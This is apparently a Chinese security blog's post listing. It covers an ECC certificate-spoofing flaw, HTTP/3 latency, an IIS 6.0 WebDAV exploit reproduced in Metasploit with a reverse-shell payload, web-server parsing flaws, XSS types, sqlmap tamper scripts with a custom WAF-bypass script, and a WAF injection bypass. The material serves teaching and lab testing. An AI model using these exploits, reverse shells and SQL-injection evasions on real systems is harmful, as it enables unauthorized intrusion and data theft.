186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
85 阅读
0 评论
0 点赞
2020-04-01
怎么看HTTP/3
互联网通信发展史其实是人类与RTT斗争的历史什么是RTT?RTT是Round Trip Time的缩写,通俗地说,就是通信一来一回的时间。TCP建立连接时间最早大家使用TCP来运输HTTP,TCP想必大家很熟悉了,需要三次握手,建立了TCP虚拟通道,那么这三次握手需要几个RTT时间呢?一去 (SYN)二回 (SYN+ACK)三去 (ACK)相当于一个半来回,故TCP连接的时间 = 1.5 RTT 。HTTP交易时间这意味着,用户在浏览器里输入的网址URL,直到时间流逝了1.5RTT之后,TCP才开始运输HTTP Request,浏览器收到服务器的HTTP Response,又要等待的时间为:一去(HTTP Request)二回 (HTTP Responses)故HTTP的交易时间 = 1 RTT那么基于TCP传输的HTTP通信,一共花费的时间总和:HTTP通信时间总和 = TCP连接时间 + HTTP交易时间= 1.5 RTT + 1 RTT = 2.5 RTT安全加密通信随着互联网的爆发式增长,人类发现完全明文传输的HTTP通信很不安全。做为OSI七层参考模型的现实实现的TCP/IP协议,在设计之初没有考虑安全加密的环节。互联网先驱Netscape公司,创造性发明了SSL(Secure Socket Layer),SSL位于TCP与HTTP之间,做为HTTP的安全供应商,全权负责HTTP的安全加密工作。IP / TCP / SSL / [HTTP]各个通信模块之间的站位如上所示,将HTTP用[ ]括起来,表示HTTP被SSL安全加密了。随着SSL的名气攀升,互联网标准化组织IETF,觉得SSL是一个好东西,就拿来用了。但SSL最初只是用于加密HTTP的,IETF觉得这是一个硬伤,为什么不能用来做为所有应用层协议的安全供应商呢?来传输邮件、文件、新闻等等。实现这一点很简单,只要在协议里增加一个Application Protocol 类型字段。在Application Protocol 有一个类型是“IP”,意味着TLS不仅可以运输应用层协议如HTTP、FTP,还可以运输IP,这就是Cisco Any Connect的应用场景。TLS (Transport Layer Security)于是,IETF在SSL 3.0版本的基础上,重新设计并命名了这个协议,其全新的名字为TLS,最初的版本为1.0版本。从其名字就可以看出,其核心使命就是保证传输层的安全。各个通信部门成员的占位与SSL占位一致:IP / TCP / TLS / [HTTP]到目前为止,浏览器支持的TLS版本为TLS 1.0、1.1、1.2,当然版本越高越成熟、越安全。HTTPS通常将TLS安全保护的HTTP通信,称之为HTTPS,以区别于没有TLS安全防护的HTTP明文通信。交待了上文的背景知识,还是要回到本文的主题,来看看自从引入了TLS安全防护,看看HTTPS通信的RTT增加到了多少?TLS 1.2以1.2 版本为例,看看HTTPS通信一共要消耗几个RTT时间?1. 浏览器给服务器发送的Client Hello消息(一去)首长好,我支持1.2版本,加密套件列表1、2、3…,以及我的随机码N1,请出示您的证件。2. 服务器给浏览器发送的Server Hello消息(二回)同志们好,那就1.2版本通信吧,加密套件我选用1,我的随机码N2,ECDHE密钥交换素材2,这是我的证件。同志们辛苦了!3. 浏览器给服务器发送的Key Exchange消息(三去)为人民服务! 嘴里虽这么说着,私下还要偷偷验证首长的证件是否伪造的。首长证书验证成功之后,还要给首长会话呢?会话内容如下:首长辛苦了! 我的ECDHE密钥交换素材1,接下来我发给您的消息都要加密了(Change Spec)。从这以后,双方的HTTP通信将使用TLS加密了。一共花费了1.5个RTT时间。让我们来计算一下整个HTTPS通信花费的时间总和:HTTPS通信时间总和 = TCP连接时间 + TLS 连接时间 + HTTP交易时间= 1.5 RTT + 1.5 RTT + 1 RTT = 4 RTT如果浏览器与服务器物理距离很近,RTT < 10 ms,即使4 RTT最大也不过40 ms的时间,用户压根感觉不到慢。如果浏览器与服务器相隔上万公里,一个RTT时间通常在200ms以上,4RTT时间通常在1秒以上,用户会明显感觉到网速慢了。HTTP 1.x和很多人想象不一样的是,浏览器从服务器获取的一个页面,通常由很多资源链接所组成。服务器给浏览器推送的第一个页面,页面里通常嵌入了图片资源文本链接、以及动态页面资源链接、或第三方网站的链接资源,还需要浏览器根据这些文本链接内容,去链接所对应的服务器,继续下载链接所对应的内容。浏览器通常采用的流程是,重新建立一个TCP连接、TLS连接、HTTP交易。这又是一个漫长的4RTT等待过程,用户看到浏览器完整页面的时间为完整页面加载时间 = 4RTT *2 = 8RTTHTTP /2自然有人会问,既然第一次页面与第二次页面都是同一个网站服务器,为何第二次页面要重新建立一个TCP连接,一个TLS连接?如果重用第一个TCP连接,那么就少了1.5 RTT + 1.5 RTT = 3 RTT的时间。这是一个好主意,就是用户的多个HTTP Request请求,使用同一个逻辑通道进行运输,这样会大大减少重新建立连接所花费的时间。但是,这样会带来一个副作用,多个HTTP流使用同一个TCP连接,遵守同一个流量状态控制。只要第一个HTTP流遭遇到拥塞,剩下的HTTP流压根没法发出去,这就是头部阻塞(Head of line Blocking)。既然TCP不好用,那为何要吊死在TCP这一棵树上呢?外面的世界很精彩,到外面的世界逛逛。QUIC(Quick UDP Internet Connection)逛下来的感受是,UDP不需要连接,不会带来附加的RTT时间,UDP是一个好的合伙人被HTTP /2拉上了贼船,各合伙人的站位如下:IP / UDP / QUIC这个就是Google开发QUIC协议,QUIC协议集成了TCP可靠传输机制、TLS安全加密、HTTP /2 流量复用技术,其页面的加载时间为2.5 RTT时间。此外,完成QUIC交易的连接的Session ID会缓存在浏览器内存里,如果用户再次打开该页面,无需建立TLS连接,直接使用缓存Session ID 对应的加密参数,服务器可以根据Session ID在缓存里查找对应的加密参数,并完成加密。换句话说,重连TLS连接是一个0 RTT 事件,用户所要等待的页面加载事件 =HTTP交易事件 = 1 RTT。HTTP /3这一次IETF又觉得QUIC是一个好东西,但是希望QUIC不仅可以运输HTTP,还可以运输其它协议,把QUIC与HTTP分离,最终各合伙人的占位如下所示:IP / UDP / QUIC / HTTP这样整体的页面加载时间为2 RTT。TLS 1.3IETF的QUIC标准集成了TLS 1.3版本,1.3版本更简练,建立TLS连接不再需要1.5 RTT,而只需要1 RTT,是因为浏览器第一次就把自己的密钥交换的素材发给服务器,这样就节省了第三次消息,少了0.5个RTT时间。页面的整体加载时间 = TLS 1.3连接时间 + HTTP交易时间 = 1RTT + 1RTT = 2 RTT重连页面的加载时间 = HTTP交易时间 = 1 RTTHTTP /3所带来的挑战99%+以上的手机移动终端、电脑终端,都使用私有IP,都需要NAT设备来完成私有IP与全球IP的转换。这意味着NAT设备通常会记忆用户的通信状态,一旦用户完成了通信,NAT设备会释放这些记忆对于基于TCP的HTTP、HTTPS传输,NAT设备可以根据TCP报文头的SYN / FIN状态位,知道通信什么时候开始,什么时候结束,对应记忆的开始、记忆的结束。但是基于UDP传输的HTTP/3,NAT设备收到流量会知道连接什么时候开始,但是却无法知道流量什么时候结束。NAT设备的记忆如果短于用户会话时间,则用户会话会中断。NAT设备的记忆如果大大长于用户会话时间,则意味着NAT设备的端口资源会白白被占用!最直接的解决方案是,在QUIC的头部模仿TCP的SYN/FIN状态,让沿途的NAT设备知道会话什么时候开始、什么时候结束。但这需要升级全球所有的NAT设备的软件!另外一个可行的方案是,让QUIC周期性地发送Keepalive消息,刷新NAT设备的记忆,避免NAT设备释放自己的记忆。HTTP/3 或者说核心的 QUIC 协议主要是在做三个事情:通过提高链接利用效率减少 RTT,提高数据交互速度。在第一条的基础上,囊括安全需求。解决当前实际网络环境中的适配问题,也就是说协议不能太过 Breaking Change 了。HTTP/1.1 持续发展中,有两个东西变得比较重要,一个是 HTTPS,一个是 HTTP/2。其中, HTTPS 是在 HTTP 的协议上加了一层加密协商,这层加密协商在提高安全性的同时带来了完全新增的 TLS RTT,这对延迟是必然的增加。HTTP/2 的链接复用虽然可以将多个资源放到一个链接里,实现多路复用,却仍有 TCP 层面的排头阻塞(Head-of-line blocking)问题。QUIC 要解决上面问题,要安全,也要复用。会话层是不能单独拿出来做协商了,这个 RTT 是不能留的,最好就是把他整合到新的协议里,所以 QUIC 是 Build-in security; HTTP/2 的复用能力更要覆盖,所以 QUIC 链接建立后的 HTTP 请求也是能直接复用的,等于是完成上述两个东西的一个优化协议。然而,QUIC 的实现在传输层换了协议,从 TCP 换到了 UDP,这个变化可不是说升级就升级的,因为 QUIC 协议要保证可靠、有序、能校错,这些都不是 UDP 被对待的方式啊!很多场景下,UDP 都被当做「可以偶尔被丢弃的流量」,这对一个可靠数据传输是不能承受的。比如,一个官方的例子:NAT 网关。NAT 网关对 TCP 的映射是根据 source_ip:port 和 destination_ip:port 来做的,经过 NAT 网关的 TCP 流量都通过这个四元组做识别,监听 SYN 和 ACK 可以确定 TCP 链接是否建立是否断开;而 NAT 网关对 UDP 流量的处理却没有这么可靠,对于 UDP 流量,NAT 的端口映射可能在某次传输超时之后就被重新分配了,这本来对 UDP 的不可靠的流量也不那么严重,但 QUIC 基于这种实际情况下做,某个建立好要复用的链接,对 NAT 内部机器来说流量来源的端口是会发生变化的,从而四元组做链接标识的事情就结束了。
2020年04月01日
58 阅读
0 评论
0 点赞
2020-03-31
iis6.0远程代码执行漏洞复现(CVE-2017-7269)
一.实验环境搭建1.目标机:windows server 2003 r2需要目标服务器开启WebDAV靶机IP:192.168.75.134Kali IP : 192.168.75.129kali中启动Msf,使用CVE-2017-7269攻击插件use exploit/windows/iis/cve_2017_7269没有这个插件的老铁,还麻烦您 在https://github.com/zcgonvh/cve-2017-7269 下载脚本,并且 把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下,然后reload_all进行启用使用show options查看相关攻击参数set RHOSTS 192.168.75.134set HttpHost 192.168.75.134设置返回载荷set payload windows/meterpreter/reverse_tcp使用exploit 或者run进行攻击获取到连接输入shell命令,来到了我们所熟悉的界面查看当前用户权限,whoami普通权限,但是可以通过msf的上传功能传递木马或者提权脚本
2020年03月31日
506 阅读
0 评论
0 点赞
2020-03-31
web容器漏洞
IIS文件解析漏洞1.初始思路:如果网站禁止上传asp文件我们就上传iis可以解析的cer和asa文件 2.iis6.0:会解析此两类文件:/test.asp/test.jpg test.asp;.jpg 3.iis7.5:解析此类情况:test.jpg/.php 条件:php配置文件开启cgi.fix.pathinfo(php.ini) 4.apache:apache重要文件时在/etc/mime.types文件中写入了可以解析哪些文件和mime类型 解析是由于apache特性从右向左解析。当apache添加addhandle application/x-httpd-php.php 就可以解析php文件。修复是用sethandle然后加正则匹配 5.nginx:解析test.jpg/.php文件,低版本的可以%00.PHP进行解析攻击 同样和apache一样是通过mime.types来识别文件 也是当cgi.fix.pathinfo=1时开启文件修理路径修理功能 在www.conf中加入security.limit_extensions= 没有指定特定格式就可以解析php命令执行漏洞1.iis6.0:命令执行漏洞编号CVE-2017-7269。 在开启webdav服务的情况下可远程执行漏洞 原理:iis6.0处理PROPFIND指令对url的长度没有检查和控制,导致memcpy对虚拟路径执行引发栈溢出。目录遍历1.nginx:目录遍历与apache一样同样是配置错误 开启:/etc/nginx/sites-available/default中的location中加入autoindex on任意上传文件漏洞1.tomcat:修改/conf/web.xml中的readonly=false就可以用put方式创建jsp文件进行远程代码执行漏洞防御总结限制上传文件类型 扩展名检测防止%00截断以及特殊字符绕过,对上传的图片文件进行2次渲染压缩 限制上传文件大小:配置web server 允许最大的post大小 将上传目录设置为静态资源目录,防止被解析为脚本 使用代理页面隐藏真是路径
2020年03月31日
51 阅读
0 评论
0 点赞
2020-03-31
存储型XSS与反射型XSS有什么区别?
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。如:人人网又一大波蠕虫,位置在首页+登录就中招+通杀网页和人人桌面反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。例如这个
2020年03月31日
111 阅读
0 评论
0 点赞
2020-03-30
sqlmap之tamper绕过安全狗
参考:sqlmap用户手册详解【实用版】根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。脚本名:apostrophemask.py 作用:用utf8代替引号1Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'Tested against: all脚本名:equaltolike.py 作用:like 代替等号12345Example:* Input: SELECT * FROM users WHERE id=1* Output: SELECT * FROM users WHERE id LIKE 1案例一: http://wooyun.org/bugs/wooyun-2010-087296案例二: http://wooyun.org/bugs/wooyun-2010-074790案例三:http://wooyun.org/bugs/wooyun-2010-072489脚本名:space2dash.py 作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)1Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'Tested against: * MSSQL * SQLite案例一:http://wooyun.org/bugs/wooyun-2010-062878脚本名:greatest.py 作用:绕过过滤’>’ ,用GREATEST替换大于号。1Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0脚本名:space2hash.py 作用:空格替换为#号 随机字符串 以及换行符1234Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement:MySQL Tested against:MySQL 4.0, 5.0脚本名:apostrophenullencode.py 作用:绕过过滤双引号,替换字符和双引号。1Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'Tested against:MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:halfversionedmorekeywords.py 作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论123Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"Requirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22脚本名:space2morehash.py 作用:空格替换为 #号 以及更多随机字符串 换行符12345Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement: * MySQL >= 5.1.13 Testedagainst: * MySQL 5.1.41案例一:91ri一篇文章脚本名:appendnullbyte.py 作用:在有效负荷结束位置加载零字节字符编码1Example: ('1 AND 1=1') '1 AND 1=1%00'Requirement:Microsoft Access脚本名:ifnull2ifisnull.py 作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’123Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'Requirement:MySQLSQLite (possibly)SAP MaxDB (possibly)Tested against:MySQL 5.0 and 5.5脚本名:space2mssqlblank.py(mssql) 作用:空格替换为其它空符号Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0FusersRequirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005ASCII table: 案例一: wooyun.org/bugs/wooyun-2010-062878脚本名:base64encode.py 作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all案例一: http://wooyun.org/bugs/wooyun-2010-060071案例二: http://wooyun.org/bugs/wooyun-2010-021062案例三: http://wooyun.org/bugs/wooyun-2010-043229脚本名:space2mssqlhash.py 作用:替换空格1Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL脚本名:modsecurityversioned.py 作用:过滤空格,包含完整的查询版本注释1Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'Requirement: * MySQLTested against:MySQL 5.0脚本名:space2mysqlblank.py 作用:空格替换其它空白符号(mysql)12345Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0usersRequirement:MySQLTested against:MySQL 5.1案例一:wooyun.org/bugs/wooyun-2010-076735脚本名:between.py 作用:用between替换大于号(>)1Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'Tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-068815脚本名:space2mysqldash.py 作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)注:之前有个mssql的 这个是mysql的1Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'Requirement:MySQLMSSQL脚本名:multiplespaces.py 作用:围绕SQL关键字添加多个空格1Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'Tested against: all案例一: wooyun.org/bugs/wooyun-2010-072489脚本名:space2plus.py 作用:用+替换空格1Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all脚本名:bluecoat.py 作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like1Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'Tested against:MySQL 5.1, SGOS脚本名:nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters1Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all脚本名:space2randomblank.py 作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集1Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'Tested against: all脚本名:sp_password.py 作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾1Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL脚本名:chardoubleencode.py 作用: 双url编码(不处理以编码的)12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545脚本名:unionalltounion.py 作用:替换UNION ALL SELECT UNION SELECTExample: ('-1 UNION ALL SELECT') '-1 UNION SELECT'Requirement: all脚本名:charencode.py 作用:url编码12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:randomcase.py 作用:随机大小写 Example:Input: INSERTOutput: InsERtTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:unmagicquotes.py 作用:宽字符绕过 GPC addslashes12345Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20脚本名:randomcomments.py 作用:用/**/分割sql关键字123Example:‘INSERT’ becomes ‘IN//S//ERT’脚本名:charunicodeencode.py 作用:字符串 unicode 编码12345Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′Requirement:ASPASP.NETTested against:Microsoft SQL Server 2000Microsoft SQL Server 2005MySQL 5.1.56PostgreSQL 9.0.3案例一: wooyun.org/bugs/wooyun-2010-074261脚本名:securesphere.py 作用:追加特制的字符串1Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"Tested against: all脚本名:versionedmorekeywords.py 作用:注释绕过12345Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#Requirement:MySQL >= 5.1.13脚本名:space2comment.py 作用:Replaces space character (‘ ‘) with comments ‘/**/’12345Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/usersTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-046496脚本名:halfversionedmorekeywords.py 作用:关键字前加注释12345Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWaRequirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22转自:http://blog.csdn.net/qq_29277155/article/details/52266478x00 前言 sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。0x01 tamper脚本 当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。0x02 分析tamper脚本由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析#!/usr/bin/env python #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法""" #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号import re #导入python中的re 字符替换包,方便下面的字符替换from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试 SQL 注入的过程中,使用的配置文件事先全部被加载到了 conf 和 kbfrom lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.NORMAL #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。def tamper(payload, **kwargs): #定义tamper脚本,payload, **kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2} """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 Replaces each keyword character with lower case value #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以 Tested against: #用于多种数据库。并且作用于弱防护效果的防火墙 * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: # 进行判断payload for match in re.finditer(r"[A-Za-z_]+", retVal): # 对 retVal 【payload】进行小写查找 word = match.group() #将查找到的字母赋值给word if word.upper() in kb.keywords: #如果在攻击载荷中有大写字母 retVal = retVal.replace(word, word.lower()) #将大写字母转换成小写字母。 return retVal #返回小写字母到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母0x03 编写一个tamper脚本 在这里,我们尝试写一个绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。#!/usr/bin/env python #此处代码可以直接从其他tamper复制粘贴过来"""Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明 See the file 'doc/COPYING' for copying permissionv0.0.1 #添加这个脚本的版本说明2016.08.21 #添加我们写这个脚本的日期"""from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} """ To bypass safedog Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则 >>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式 'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users' """ retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: retVal = "" quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响 for i in xrange(len(payload)): # 在攻击载荷中逐个进行判断操作。 if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换 if payload[i].isspace(): firstspace = True retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/) continue #继续进行判断操作 elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换 quote = not quote elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换 doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote retVal += "/*|%20--%20|*/" #则进行编码转换 continue 继续执行 retVal += payload[i] #得到重新组合的payload return retVal# 该脚本可以在github中找到:https://github.com/ym2011/penetration/tree/master/scripts0x04 参考资料http://sqlmap.org/https://github.com/sqlmapproject/sqlmap/https://github.com/sqlmapproject/sqlmap/wikihttps://github.com/sqlmapproject/sqlmap/wiki/FAQhttps://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries转自:http://www.freebuf.com/articles/1000.htmlWAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它,许多公司甚至已经不在意web应用的漏洞。遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测。许多时候,你需要联合使用多个tamper脚本。所有tamper脚本请参考:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/在这里,我们以针对Mysql的space2hash.py和space2morehash.py为例。这两个脚本将会自动转换所有空格为随机注释,而此脚本的拓展版本(space2morehash.py)也会帮助到你来“打乱”方法函数以绕过WAF的检测。Example: * Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227好了,接下来我们讲重点了。你可以使用命令–tamper 来调用脚本,如下:./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
2020年03月30日
151 阅读
0 评论
0 点赞
2020-03-30
绕过WTS-WAF拦截注入
暂时没有实例站,先做语言补充尝试进行注入and 1 = 1 测试 被拦截尝试用注释污染参数进行绕过,结果还是不行/!fasdsj-gaf/and/!asjgk+fg/1=1也是被拦截使用id=1+and+1=1测试成功,没被拦截使用order by测试,没被拦截
2020年03月30日
53 阅读
0 评论
0 点赞
1
...
9
10
11
...
13